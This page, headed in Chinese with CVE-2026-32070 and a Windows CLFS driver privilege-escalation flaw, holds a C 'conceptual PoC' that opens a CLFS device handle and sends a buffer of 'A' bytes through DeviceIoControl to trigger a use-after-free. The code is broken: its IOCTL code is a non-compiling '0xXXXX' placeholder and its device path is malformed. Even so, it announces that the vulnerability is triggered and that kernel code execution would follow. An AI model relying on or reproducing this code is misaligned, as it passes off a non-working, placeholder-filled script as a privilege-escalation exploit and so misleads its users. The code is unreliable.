CVE-2026-32070 Windows CLFS驱动权限提升漏洞

#include <windows.h> #include <stdio.h> // Conceptual PoC for CVE-2026-32070 (UAF in CLFS) // This code demonstrates the trigger mechanism for the Use-After-Free vulnerability. int main() { HANDLE hDevice; DWORD bytesReturned; // Attempt to open a handle to the CLFS device // Note: The actual device path may vary depending on the Windows version hDevice = CreateFileA("\\.\CLFS", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[*] Ensure you are running as an Administrator or the driver is loaded.\n"); return 1; } printf("[+] Device opened successfully. Handle: 0x%p\n", hDevice); // Prepare input buffer to trigger the UAF condition // The size and content would need to be adjusted based on specific vulnerability analysis BYTE triggerBuffer[0x100]; memset(triggerBuffer, 0x41, sizeof(triggerBuffer)); // Fill with 'A' printf("[*] Sending malicious payload to trigger UAF...\n"); // The IOCTL code is hypothetical for CVE-2026-32070 // Reversing would be required to find the exact trigger IOCTL DWORD ioctlCode = 0xXXXX; BOOL result = DeviceIoControl(hDevice, ioctlCode, triggerBuffer, sizeof(triggerBuffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); // This might fail if the IOCTL code is incorrect or validation fails } else { printf("[+] IOCTL sent successfully. Vulnerability triggered.\n"); printf("[*] If exploited correctly, code execution in kernel mode would follow.\n"); } CloseHandle(hDevice); return 0; }